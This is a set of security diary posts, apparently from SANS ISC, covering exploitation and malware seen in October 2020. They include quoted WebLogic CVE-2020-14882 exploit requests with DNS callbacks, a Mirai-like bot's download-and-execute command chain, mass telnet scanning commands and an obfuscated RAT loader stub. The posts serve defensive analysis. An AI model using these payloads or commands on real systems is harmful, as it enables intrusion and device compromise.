Published: 2020-10-31

More File Selection Gaffes

A reader submitted a file, that turned out to be a mass mailer project file used by malicious actors.

This malicious actor was not the only one mistakingly sending out their mass mailer project file: I found many other files.

What follows is an overview of various fake email templates defined in these mass mailer project files. Some of them are very basic, while others look exactly like legitimate emails.

I highlighted mailing variables ([[-Email-]], [[-Domain-]]) used in these templates.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-30

Quick Status of the CAA DNS Record Adoption

In 2017, we already published a guest diary[1] about "CAA" or "Certification Authority Authorization". I was curious about the status of this technique and the adoption level in 2020. Has it been adopted massively since this diary? The initial RFC describing CAA has been issued in 2013 (RFC6844[2]). Since 2019, it is obsolete and has been replaced by RFC8659[3]. Just a quick reminder about the purpose of this DNS record. It is used to specify which certificate authority(ies) (CAs) is(are) allowed to issue certificates for a domain. When the first diary was posted, not all DNS query tools supported CAA records by default. It was often required to query for a 'type257'  record, then decode the output. Today, all tools support it pretty well:

$ dig rootshell.be caa

; <<>> DiG 9.10.6 <<>> rootshell.be caa
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50111
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 1

; EDNS: version: 0, flags:; udp: 4096
;rootshell.be.            IN    CAA

rootshell.be.        60    IN    CAA    0 issue "letsencrypt.org"

.            3499    IN    NS    k.root-servers.net.
.            3499    IN    NS    h.root-servers.net.
.            3499    IN    NS    c.root-servers.net.
.            3499    IN    NS    f.root-servers.net.
.            3499    IN    NS    b.root-servers.net.
.            3499    IN    NS    g.root-servers.net.
.            3499    IN    NS    j.root-servers.net.
.            3499    IN    NS    l.root-servers.net.
.            3499    IN    NS    d.root-servers.net.
.            3499    IN    NS    a.root-servers.net.
.            3499    IN    NS    i.root-servers.net.
.            3499    IN    NS    e.root-servers.net.
.            3499    IN    NS    m.root-servers.net.

;; Query time: 48 msec
;; WHEN: Thu Oct 29 16:56:51 CET 2020
;; MSG SIZE  rcvd: 286


This output means, based on the value of CAA record, that only letsencrypt.org is authorized to generate certificates for the domain rootshell.be (and its subdomains). As the RFC says: "CAA Resource Records allow a public CA to implement additional controls to reduce the risk of unintended certificate mis-issue". Great!

If it's so easy to implement, we can presume that most of the registered domains on the Internet have a CAA record, right? To verify this, I downloaded a copy of the good old Alexa top-1 million domains list. The list is not free anymore but it’s possible to find old versions. For all those domains, I tried to resolve potential CAA records then I generated some statistics. I wrote a quick script to automate this task. At the end of the execution, it resolved 744060 domains. Let's have a look at the numbers.

It's quite surprising that, still today, only 3% of the domains listed in the Alexa list implemented a CAA record.

They are 3 CAA 'properties' available:

  • "issue" : Grant authorization to issue certificates related to the domain.
  • "issuewild" : Grant authorization to issue wild certificates related to the domain.
  • "iodef" : Specifies a means of reporting certificate issue requests or cases of certificate issue.

Here are the number of each property found:

The property issue may contain one of more certificate authorities (separated with a ';') but it's also possible to give a single ';' character. Is this case, it means that NO certificate authority is allowed to generate a certiicate for the domain. I found 358(!) of such domains. (lun.com is one of these domains).

Now, let's have a look at the CA landscape. What are the most used?

Note: To reduce the graph size, the listed CA are those that were used at least 5 times.

No surprise, we see Digicert and Let's Encrypt at the top. This CA has been adopted by many organisations or private people to generate free certificates. It is very popular also for attackers because it helps them to improve the quality of their phishing sites (just an example).

But, is Let's Encrypt also popular amongst the top domain owners? Let's have a look. Again, from the Alexa list, the first domain that returned a CAA record mentioning letsencrypt.org was at position 187 (deepl.com). It accepts two CA's:

deepl.com.              300     IN      CAA     0 issue "letsencrypt.org"
deepl.com.              300     IN      CAA     0 issue "sectigo.com"

Let's draw the same graph has above but only for the 187 first domains who have at least one CAA record.

You can see those most popular websites do not use Let's Encrypt and prefer to rely on "popular" CA's or, like the monster Google, rely on your own.

If you did not implemented yet a CAA record, have a look at it. It's easy and  most DNS providers support them out of the box. You should be able to create them in your classic DNS management interface.

[1] https://isc.sans.edu/forums/diary/CAA+Records+and+Certificate+Issuance/22342
[2] https://tools.ietf.org/html/rfc6844
[3] https://tools.ietf.org/html/rfc8659

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-10-29

PATCH NOW: CVE-2020-14882 Weblogic Actively Exploited Against Honeypots

WebLogic Logo[This post is based on late-breaking news we are still investigating. Please send us any corrections you may have. We are in the process of validating and hopefully understanding all the details ourselves. Check back for updates]

At this point, we are seeing the scans slow down a bit. But they have reached "saturation" meaning that all IPv4 addresses have been scanned for this vulnerability. If you find a vulnerable server in your network: Assume it has been compromised.

Just about a week ago, as part of a massive quarterly "Critical Patch Update" (aka "CPU"), Oracle patched CVE-2020-14882 in WebLogic. Oracle at the time assigned it a CVSS score of 9.8. We are now seeing active exploitation of the vulnerability against our honeypot after PoC exploits had been published.

Vulnerable WebLogic Versions:,,, and

The exploitation of the vulnerability is trivial. For example, we are seeing these exploits being currently used:

[the honeypot's IP has been replaced with AAA.BBB.CCC.DDD. Spaces added to allow for line breaks ]

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle= com.tangosol.coherence.mvel2.sh.ShellSession( %22java.lang.Runtime.getRuntime().exec(%27cmd /c

GET /console/images/%252e%252e%252fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession( \"java.lang.Runtime.getRuntime().exec( 'nslookup%20AAA.BBB.CCC.DDD.0efp3gmy20ijk3tx20mqollbd2jtfh4.burpcollaborator.net')

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession( %22java.lang.Runtime.getRuntime().exec( %27ping%20AAA.BBB.CCC.DDD.uajiak.dnslog.cn%27);%22);

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String(\"test\")

These exploit attempts are right now just verifying if the system is vulnerable. Our honeypots (up to now) do not return the "correct" response, and we have not seen follow-up requests yet.

Currently, exploit attempts originate from these 4 IP addresses:

    First IP seen. Around noon UTC Oct 18th.
    attempting to ping [some id].dnslog.cn
    Address assigned to China Unicom

    attempting to ping [victim ip].uajiak.dnslog.cn
    Address assigned to Linode (USA)

    At this point, most prolific scanner. attempting to execute "cmd /c" ?

        The address is assigned to MivoCloud (Moldovia)

    pinging [some ID].burpcollaborator.net
    Address assigned to Datacamp Ltd (HongKong) and (multiple hosts in these netblocks)
    verifying vulnerability by attempting to download a page from *.o3oant.k2x.pw . The DNS lookup triggered by the request attempt is used to verify vulnerability. The site itself does not exist (and not resolve).


I am in the process of notifying the ISPs.

The exploit appears to be based on this blog post published in Vietnamese by "Jang": https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf




Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2020-10-28

SMBGhost - the critical vulnerability many seem to have forgotten to patch

You probably remember that back in March, Microsoft released a patch for a vulnerability in SMBv3 dubbed SMBGhost (CVE-2020-0796), since at that time, it received as much media attention as was reasonable for a critical (CVSS 10.0) vulnerability in Windows, which might lead to remote code execution[1].

Luckily, achieving RCE through SMBGhost turned out to be anything but simple so although the first public exploits appeared fairly quickly, they used the vulnerability “only” for local privilege escalation[2]. It wasn’t until June that a PoC for achieving RCE was published[3]. Since release of this PoC was again met with wide attention from the media, one might reasonably expect that by now, most of the vulnerable machines would have been patched – especially those accessible from the internet.

Going by data I’ve gathered from Shodan over the last eight months, this doesn’t appear to be true, however.

Besides scanning for open ports and running services, Shodan is also capable of identifying machines/IPs which are impacted by specific vulnerabilities – you may try this yourself if you have one of the higher-level account by using the search filter vuln (e.g. “vuln:cve-2020-0796”). I’m unsure what method Shodan uses to determine whether a certain machine is vulnerable to SMBGhost, but if its detection mechanism is accurate, it would appear that there are still over 103 000 affected machines accessible from the internet. This would mean that a vulnerable machine hides behind approximately 8% of all IPs, which have port 445 open.

The following chart shows countries with most detections – I've included those with at least 2 000 IPs detected as vulnerable by Shodan.

It is hard to say why are so many unpatched machines are still out there. Microsoft did release the patch for CVE-2020-0796 out-of-band instead as a part of its usual patch Tuesday pack of fixes[4], but that was the only unusual thing about it and doesn’t make much sense that this would be the reason why it still isn't applied on so many systems… In any case, if the numbers provided by Shodan are accurate, they are concerning to say the least, especially since SMBGhost – as an RCE – is “wormable”. If for whatever reason you still haven't patched any of your systems, now would seem to be a good time to do so.

Hopefully, we won’t see any worms or other attempts at mass exploitation of CVE-2020-0796 any time soon, but who knows – it would perhaps be timely given the name of the vulnerability and the upcoming Halloween…

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
[2] https://github.com/danigargu/CVE-2020-0796
[3] https://github.com/chompie1337/SMBGhost_RCE_PoC
[4] https://www.zdnet.com/article/microsoft-patches-smbv3-wormable-bug-that-leaked-earlier-this-week/

Jan Kopriva
Alef Nula


Published: 2020-10-26

Excel 4 Macros: "Abnormal Sheet Visibility"

Excel 4 macros are composed of formulas (commands) and values stored inside a sheet.

Each sheet in a spreadsheet can be "visible", "hidden" or "very hidden". Malware authors will often make Excel 4 macro sheets hidden or very hidden.

In .xls files, spreadsheet data is stored in the Workbook stream as BIFF records. There is a BIFF record for sheets: the BOUNDSHEET record. The byte value at position 5 in a BOUNDSHEET record defines the visibility of a sheet: visible (0x00), hidden (0x01) or very hidden (0x02):

Encoding the visibility of a sheet is done with the 2 least significant bits. Per Microsoft's documentation, the 6 more significant bits are unused bits and must be ignored. In spreadsheets created with Excel, these bits are set to 0.

From time to time, I find malicious Excel 4 macro documents, where these bits are not zero:

oledump's plugin_biff will report this: "reserved bits not zero".

The "visibility" value is 0x0A, that's 0x08 + 0x02: thus the sheet is very hidden (0x02).

Excel has no problem at all opening a spreadsheet like this (the unused bits must be ignored). But if you use or develop detection rules like YARA, Suricata, ... ; be aware that these unused bits can be set to 1 in stead of 0.

You might wonder: 2 bits to encode visibility. Visible (0x00), hidden (0x01) or very hidden (0x02).

What about 0x03?

When a sheet's visibility is set to 0x03 (I do this by patching the .xls with a binary editor), my tests with Excel 2016 and 2019 show that an Excel 4 macro sheet will behave as "very hidden", and the macro code will be executed.

However, before a user is prompted to enable macros, that user will have to click through extra warnings:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-25

Video: Pascal Strings

Programs written in the Object Pascal (Delphi) programming language, have their strings stored in the executable file as Pascal strings. A Pascal string (or P-string) is a string that is internally stored with a length-prefix: an integer that counts the number of characters inside the string.

When analyzing Delphi malware, it is useful to extract its Pascal strings (in stead of extracting all strings). You can do this now with an update to my strings.py tool.

I've also recorded a video showing this new feature:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-24

An Alternative to Shodan, Censys with User-Agent CensysInspect/1.1

I have well over 2 years of honeypot logs and only started seeing CensysInspect user-agent in my logs about 2 months ago. Most of us are familiar with Shodan and often use it to find what is or was exposed to the Internet. This is an alternative site to search the same data with 3 available search options, by IPv4, websites and certificates.

This is an example of what can be seen in webserver logs:

20201024-071114: data 'GET / HTTP/1.1\r\nHost: 70.50.xx.xx\r\nUser-Agent: Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n'

Planning to do more than 10 queries per day, you need to register, it is free and check this page that show examples on how to to query de data.

This scanner works by grabbing banner and collecting all information being leaked by insecure devices which get categorized and stored for "research" purposes. According to their FAQ, it uses Zmap which "[...] can scan the entire public IPv4 address space in under 45 minutes." and uses "ZGrab can perform a TLS connection and collect the root HTTP page of all hosts ZMap finds on TCP/443." The information captured is like what Shodan provides:

This is an alternative to find Internet-facing systems, finding open ports and services that listen on a port. Censys probes for more than just the standard known ports. This is some of the ports starting with the top (total in 2 months > 1000 ports).

IP Ranges included in the probes:

[1] https://censys.io
[2] https://www.shodan.io
[3] https://censys.io/ipv4/help
[4] https://support.censys.io/hc/en-us/articles/360038378552-Frequently-Asked-Questions-FAQ
[5] https://zmap.io
[6] https://isc.sans.edu/ipinfo.html?ip=

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2020-10-23

Sooty: SOC Analyst's All-in-One Tool

Sooty was developed with the intent of helping SOC analysts automate parts of their work flow. Sooty serves to perform the more mundane and routine checks SOC analysts typically undertake with the hope of freeing the analyst to conduct deeper analysis in a more efficient and timely manner.

Download or clone Sooty from its GitHub repository.
I cloned Sooty into my tools directory with git clone https://github.com/TheresAFewConors/Sooty.git. You’ll need a current implementation of Python 3.x, and be sure to pull in Sooty’s requirements with pip install -r requirements.txt, I was missing a number of them. You’ll also need drop your API keys into their assigned slots in example_config.yaml and rename it config.yaml. The GitHub repo Requirements and Installation section has links for each of the services you’ll want API keys for, and a few pointers for setting them up properly.
Thereafter, python Sooty.py will get you started. Figure 1 represents the menu you’ll be presented with.

Sooty menu

Figure 1: Sooty menu

I’ve had the recent pleasure of hunting duties and Sooty went to immediate use for preliminary assessment purposes. An instant IP reputation result is seen in Figure 2.

Sooty IP reputation

Figure 2: Sooty IP reputation

Suffice it to say, don’t count that IP on the good guy list.
Figure 3 exhibits a check of one of my email addresses.

Sooty email reputation

Figure 3: Sooty email reputation

The email reputation check includes Have I Been Pwned results, you can see the answer to that question is affirmative.
Sooty option 7 will run URLs through urlscan.io as seen in Figure 4.

Sooty URL scan

Figure 4: Sooty urlscan

The decoders, DNS, and phishing checks are handy for…you know…decoding, DNS, and phishing checks as follows.
Decoders: ProofPoint, URLs, Office SafeLinks, URL unShortener, Base64, and Cisco Password 7.
DNS: Reverse DNS, DNS, and WHOIS lookups
Phishing: Analyze Email, Email Addresses for Known Activity, Generate an Email Template based on Analysis, Analyze an URL with Phishtank, and HaveIBeenPwned

I’m also fond of the hashing functions, particularly Option 3: Check a hash for known malicious activity. As seen in Figure 5, Sooty calls the VirusTotal API, and results are returned very quickly.

Sooty hash check

Figure 5: Sooty hash check

This is an incredibly handy, convenient tool, it really does deliver as promised, I can vouch for it during real operations, not just toolsmith lab time. I do hope support continues for it. Give it a go and enjoy!

Cheers…until next time.

Russ McRee | @holisticinfosec


Published: 2020-10-22

BazarLoader phishing lures: plan a Halloween party, get a bonus and be fired in the same afternoon

Phishing messages distributing BazarLoader have come to be commonplace in the past six months, but in the last couple of weeks I’ve been seeing more and more e-mails spreading this malware caught in my quarantine. Although contents of these messages differ, their appearance is usually similar – they all contain a fairly long link to Google Docs along with a text part instructing the recipient to visit the included URL. The lures can range quite widely and the uncoordinated way, in which the messages are distributed, can result in a single recipient receiving fairly amusing combinations of messages. Given the current global not-so-optimistic situation, I thought I’d try to share something a little bit “lighter” today and take a look at some of these messages, but before we get to that, let’s take a short look at the URLs distributed in the e-mails.

Should a recipient click on the Google Docs link, they would be directed to a web page containing a fake preview of a document corresponding to the lure mentioned in the e-mail. The page would also contain download links, from which a victim might seemingly download the promised document. The downloaded file would however insted be a BazarLoader binary.

It is worth mentioning that in the latest campaign I’ve seen (the case of “Halloween survey” shown above), the threat actors appeared to use a Slack to host the final payload using the following URL.


The link was no longer working when I tried it, but from what I’ve read about Bazar, use of Slack would seem to be a new way of distributing its malicious executables. But back to the phishing e-mails themselves...

As we’ve mentioned, the messages are visually very similar, but the lures differ significantly. And since distribution of these e-mails seems to be completely uncoordinated, reading through those, which one might receive in single a week or two, might make one wonder whether the threat actors aren’t subtly trying to make us embrace the old U.S. Army motto of “Be All You Can Be”.

The reason at least I get this feeling is, that going only by the messages addressed to me personally in the last few weeks:

  • I have been probably the most complained-about employee in the company (and I have received several substantial pay cuts because of that)

  • I was fired (probably due to me ignoring all the customer complaint reviews)

  • I have been complained about a number of additional times (I guess they changed their minds on the "termination issue"?)

  • I was awarded a bonus for being such a good employee (our financial department probably didn’t hear about me not getting on too well with customers…)

  • I was asked to read a company report (hopefully not one mentioning me by name and heavily discussing  how to avoid customer complaints)

  • I was asked to participate in a company survey on improving working conditions (I guess they decided bad working conditions were the main reason for me not being too good with customers...)

  • And finally, this Tuesday I was asked to tell the company how we should celebrate Halloween this year (maybe they have taken my thoughts on how to improve the working conditions to heart?)

Reading through all of these e-mails (and many more), one can’t help but wonder whether sending out similarly looking messages to the same addresses over and over again is really effective for the attackers... Unless their aim is to make the more impressionable recipients feel a bit unsure about the dependability of their memory when it comes to their interactions with customers.

Although I don’t mean to make light of phishing, as it is an undeniable threat, it is good to sometimes take a look at it’s more amusing side. My experience is that this is especially true when it comes to security awareness courses as humor tends to make any examples "stick" a bit more. And since October is a Cybersecurity Awareness Month[1,2], if you haven’t yet shared any tips about how to stay a bit safer online with your less technically-oriented colleagues, maybe showing them the contradictory tone of some of the phishing lures above might not be a bad start...

[1] https://www.cisa.gov/national-cyber-security-awareness-month
[2] https://cybersecuritymonth.eu/

Jan Kopriva
Alef Nula


Published: 2020-10-21

Shipping dangerous goods

For the past several months, I've been tracking a campaign that sends rather odd-looking emails like this

The sender (from) address on these emails is usually impersonating an existing shipping or logistics company. The ships mentioned in the emails actually exist, and according to marinetraffic.com, the vessels are in fact traveling in the area and with cargo that makes the content of such harbor berthing reservation and cargo manifest emails seem plausible.

Between two to five emails of this style arrive in one of my spam traps every weekday. The scammers don't work on the weekends, and sometimes, they take a full week off. But they inevitably come back, and try again.  Most emails are received between 2am and 4am UTC, which - assuming the mails are sent during the local morning - could suggest that the sender is sitting somewhere between Bangkok and Shanghai. The sending email servers are everywhere, but show some clustering in Malaysia.

The emails themselves display a casual familiarity with marine jargon, tonnages, draft, cargo types, DWT, routing, ETAs and marine radio procedures. They would be mildly entertaining to read, before getting filed in the spam folder ... if it weren't for the attachment. 

Sized between 500k and 1.5m, the attachment type of choice by the bad guys for the past several months has been a ".cab". Virustotal detection for the samples varies, and ranges from "none" at time of receipt, to 50+ engines a couple days later.

Two recent samples from this campaign

The malware in question happens to be Agent Tesla spyware. Since April, my sandbox collected several hundred distinct Agent Tesla samples from this actor. Agent Tesla exfiltrates stolen data via HTTPS, and more commonly, over email (SMTPS, tcp/587).  While the former (HTTPS) destinations tend to be rather random, the latter (email) destinations are often hosted on email domains that also belong to shipping companies. This indicates to me that the campaign is likely successful to some extent, and over the months in fact has managed to steal valid email credentials (and probably more than that) from firms in the shipping and logistics sector.

Indicators for the emails:
- look for emails with *.cab attachment, with the email subject in all-uppercase

Indicators post-compromise:
- look for outbound attempts to tcp/587 destined for email servers other than your own

Current tcp/587 C&C domains used are mail.trinityealtd[.]com and smtp.hyshippingcn[.]com, but these destinations are changing daily.

The campaign has a lot of commonalities with what BitDefender reported in April for the Oil&Gas industry https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/. 

If you have additional information on this campaign, please let us know, or share in the comments below.

Update: Latest three samples from today, and their corresponding SMTP C2:

f00fadbb5208ce7cdfe655c99c3d0cd4e13b688b  smtp.hyshippingcn[.]com:587
15f65230fb7dafdad1ca727fa7a3dd5bb132fe51  smtp.hyshippingcn[.]com:587
e0be943cd75bbab62768510aaa1547a90ee41ab0  smtp.t7global-my[.]com:587


Published: 2020-10-20

Mirai-alike Python Scanner

Last week, I found an interesting Python script that behaves like a Mirai bot[1]. It scans for vulnerable devices exposing their telnet (TCP/23) interface in the wild, then tries to connect using a dictionary of credentials. The script has been uploaded to VT and has a low score of 2/59[2]. Indeed, it does not contain suspicious strings nor API calls. Just a simple but powerful scanner.

Here are the commands injected when a device is found with vulnerable credentials:

rekdevice = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod 777 bins.sh; sh bins.sh; tftp -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh" #command to send

The IP address %%ip: is offline at the moment but has already a bad reputation and is present in multiple blocklists.

Here is the list of credential pairs tested:

combo = [

The script is pretty well written and is multi-threaded to speed up the scan:

for l in xrange(threads):
        t = threading.Thread(target=worker)

The script does not implement a random IP address generator, it just uses the zmap[3] scanner:

zmap -p23 -N 10000 -f saddr -q --verbosity=0

This command will return 10000 IP addresses that expose a telnet port. 

The question that arises when you find this kind of script is: "Can we really find so many devices exposing a telnet interface into the wild in 2020?". I did my own test and launched the above zmap command. In a few seconds, 10K IP addresses were returned. Then, I used the nmap scanner with the 'banner' script to grab telnet banners:

nmap -sC --script=banner -p 23 -Pn -iL open-telnet.txt -oA telnet-banners -v -n

I found a lot of banners that disclose the type of devices (routers, WiFi access points, switches, VoIP gateways, IoT, ...). More interesting, a found some devices still bricked by the BrickerBot:

# telnet x.x.x.x
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.

Internet Chemotherapy Part 11 - BrickerBot (TM) Source Drop (7/31 2020):

Internet Chemotherapy Part 12 - Third Time is the Charm? (9/6 2020)

DeepPaste is temperamental (unreachable 75% of time) so if the links are not
loading then try again later.

Update 10/3: So I have been looking into reconditioning Tenda/Intelbras, Genexis and Zte routers..
             Still WIP but seen some positive impact over the last few days/weeks.
Update 10/6: ..and Totolink.. 10/9: some new tricks for netis, TVT and Tata Consulting.. what next?
Update 10/17: Getting in the Zhone.. seeing real IoT action in 2020 at last

(none) login:

I found plenty of notifications and disclaimers warning you that connecting to the device is prohibited, your IP will be logged, etc. Please, don't waste your time to implement such unuseful banners, just get rid of telnet!

[1] https://www.cyber.nj.gov/threat-center/threat-profiles/botnet-variants/mirai-botnet
[2] https://www.virustotal.com/gui/file/89daf232e0658103883fa05b8968093675b5aa4b6be3fdbd46757144095daf64/details
[3] https://github.com/zmap/zmap

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-10-18

File Selection Gaffe

Have you ever sent out the wrong file? I know it has happened to me, attaching the wrong file to an email.

And it happens to malicious actors too.

A reader sent us a malicious email with an attachment: PURCHASE ORDER.mmp

You must be thinking the same as me: what is an .mmp file? Microsoft Project? No, that seems to be .mpp.

Looking at it with a binary editor, it does seem to be some kind op project file:

I searched further for strings that might give me a clue, and found this:

Gammadyne Mailer is email marketing software.

This malicious actor sent out the project file for their mailing campaign!

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-17

CVE-2020-5135 - Buffer Overflow in SonicWall VPNs - Patch Now

Discovered by Tripwire VERT, CVE-2020-5135 is a buffer overflow vulnerability in the popular SonicWall Network Security Appliance (NSA) which can permit an unauthenticated bad guy to execute arbitrary code on the device.

The following versions of SonicWall are vulnerable:
SonicOS and earlier
SonicOS and earlier
SonicOS and earlier
SonicOSv and earlier

After some research, I am unclear how many devices may be vulnerable to this attack. Tenable/Tripwire implies it could be up to approximately 800,000 devices (as detected by Shodan).  

I expect that not all of these devices have the VPN enabled, and some have been updated already, so the number is probably quite a bit lower, but still significant. 

I have not been able to find a way to remotely detect which devices are vulnerable.  Nmap can be used to detect SonicWall instances, but does not provide enough information to determine the OS version or probe for the vulnerability.

80/tcp    open     http-proxy     syn-ack ttl 53 SonicWALL SSL-VPN http proxy
|_http-server-header: SonicWALL SSL-VPN Web Server
443/tcp   open     ssl/http-proxy syn-ack ttl 53 SonicWALL SSL-VPN http proxy
|_http-server-header: SonicWALL SSL-VPN Web Server
50001/tcp filtered unknown        no-response

If any of you know of a reliable scanning technique to detect this vulnerability please let me know at our contact page and I will update the diary.

SonicWall released updates last week which fix this vulnerability and several others. Although no known exploit has been detected in the wild.  I expect, give recent historical attacks on VPNs, I would expect this one will get a lot of interest from bad guys. I strongly recommend updating as soon as reasonable.

More information can be found at the following links:


-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)


Published: 2020-10-16

Traffic Analysis Quiz: Ugly-Wolf.net


It's that time of the month again...  Time for another traffic analysis quiz!  This one is from a Windows 10 client logged into an Active Directory (AD) environment.  Details follow:

  • LAN segment: ( through
  • Domain Controller:  Ugly-Wolf-DC at
  • Gateway:
  • Broadcast address:

The pcap and alerts are available on my Github repository at:

The zip archives are password-protected with the term: infected

The alerts archive contains an image of alerts and a text file with the same information.

Shown above:  Alerts image for this quiz, with the alerts blurred (you'll have to download the alerts file to see them).

The alerts file was created using Security Onion running Suricata using the EmergingThreats Pro ruleset, and the alerts were viewed using Sguil.

The alerts should give away the type of infection(s) happening on the Windows computer at ugly-wolf.net.  Since this is an AD environment, you should also be able to find the user account name that was logged into the Windows host before it became infected.  In a real-world situation, this could help you track down an infected user and perform incident response actions.

You can also use this quiz to practice drafting an incident report.

If the answers are not obvious, feel free to leave a comment in the comments section, and I'll answer when I get the time.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2020-10-15

CVE-2020-16898: Windows ICMPv6 Router Advertisement RRDNS Option Remote Code Execution Vulnerability


  • Do not disable IPv6 entirely unless you want to break Windows in interesting ways.
  • This can only be exploited from the local subnet.
  • But it may lead to remote code execution / BSOD
  • PoC exploit is easy, but actual RCE is hard.
  • Patch


For more details, see also the YouTube video I just published:

One vulnerability that got defenders' (including mine) attention this week was CVE-2020-16898. The vulnerability, sometimes called "Bad Neighbor," can be used to execute arbitrary code on a Windows system. To exploit the vulnerability, an attacker has to send a crafted ICMPv6 router advertisement.

What Are Router Advertisements?

I (and probably others) have called them sometimes "DHCP Lite." IPv6 relies less on DHCP to manage IP addresses. After all, we got plenty of them, and the need to "recycle" IP addresses pretty much went away. A router will send router advertisements periodically or in response to a router solicitation sent by a host that just joined the network. All hosts that "speak" IPv6 will listen for router advertisements to learn about the network configuration. Even if you use DHCPv6, you still need router advertisements to know about the default gateway.

One more recently added option includes a list of recursive DNS servers. This "completes" the DHCP-Lite analogy by offering a gateway, IP address(es), and DNS servers. The same data usually found in DHCP servers.

How are recursive DNS servers (RDNSS) encoded in router advertisements?

Router advertisement options follow the standard "Type/Length/Value" format. They start with a byte indicating the type (25 = RDNSS), followed by a byte indicating the length, two reserved bytes, and a 4-byte "lifetime." Plus, of course, the DNS server IP addresses.

rddns option layout

As typical for IPv6, the length is indicated in 8-byte increments. So a length of "1" indicates that our option is 8 bytes long. The initial fields (Type, Length, Reserved, Lifetime) are exactly 8 bytes long. Each IP address is 16 bytes long.

For one IP address, our length would be "3". Each additional IP address adds another "2" (2 x 8 Bytes). As a result, the length has to be always odd.

The vulnerability is triggered if the length is even, and larger then 3. For example, consider this packet with a length of "4":

The last eight bytes of the second IP address are no longer included in the length. And this is exactly where Windows gets confused. Wireshark gets a bit confusing, as well:

Wireshark still displays both IP addresses but also recognizes that there is data beyond the option length.

How bad is it?

It is bad in that this allows arbitrary code execution. But an attacker has to be able to send the packet from the victim's network. Even an exposed host can not be attacked from "across the internet," only within a subnet. An attacker will also have to overcome anti-exploit features in Windows 10 (address layout randomization and such), requiring a second information leakage, vulnerability, and exploit.

What can I do?

Patching is probably the simplest, most straightforward solution, which is least likely to cause problems. Other options:

  • Microsoft offers the ability to turn off the RDNSS feature as an option. This could, of course, come back to haunt you later as you start using the option.
  • Various IDSs have released signatures to detect the attack.
  • Some switches offer a "Router Advertisement Guard" feature that can limit router advertisements. Maybe it will help.
  • Did I mention that you should get it over with and patch?

Microsoft Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2020-10-14

Nicely Obfuscated Python RAT

While hunting, I found an interesting Python script. It matched one of my YARA rules due to the interesting list of imports but the content itself was nicely obfuscated. The script SHA256 hash is c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b and the current VT score is only 2/59![1]

The script is simple, after a bunch of imports and an if/then condition to detect if it is executed on Windows or Linux, we have this piece of code (slightly beautified):

import zlib,marshal
exec marshal.loads(zlib.decompress(
     <stuff deleted>

You can see that the script use exec()[2] which can be compared to the JavaScript eval(). exec() will execute the Python code passed as argument:

$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exec("a=True;print(a)")

When I'm teaching FOR610, I like to say that, when you see eval() in a script, often this means it's "evil". In Python, eval() is able to evaluate and execute either a string, an open file object, or a bytecode object. You know that Python is an interpreted language but, like many other languages, it actually compiles source code to a set of instructions for a virtual machine (the Python "interpreter"). This intermediate format is called "bytecode". You probably already saw files ending with '.pyc'.

The payload is zipped and, once decompressed, it is passed to the marshal module[3] which performs internal Python object (de)serialization. The output is a bytecode that is evaluated and executed by exec(). The challenge is now to investigate what's inside this bytecode. To achieve this, we can use a third-party module called uncompyle6[4]. This module is able to decompile bytecode into Python source code. Let's change the original code into this:

import zlib
import marshal
import uncompyle6

Here is the generated output. We start to see interesting stuff:

# uncompyle6 version 3.7.4
# Python bytecode 2.7
# Decompiled from: Python 2.7.17 (default, Jul 20 2020, 15:37:01)
# [GCC 7.5.0]
import imp, sys, marshal
stdlib = marshal.loads('... <more obfuscated data>...')
config = marshal.loads('... <more obfuscated data> ...')
pupy = imp.new_module('pupy')
pupy.__file__ = 'pupy://pupy/__init__.pyo'
pupy.__package__ = 'pupy'
pupy.__path__ = ['pupy://pupy/']
sys.modules['pupy'] = pupy
exec marshal.loads(stdlib['pupy/__init__.pyo'][8:]) in pupy.__dict__
pupy.main(stdlib=stdlib, config=config)

We see a lot of references to "pupy" which is a Python RAT ("Remote Access Tool")[5].

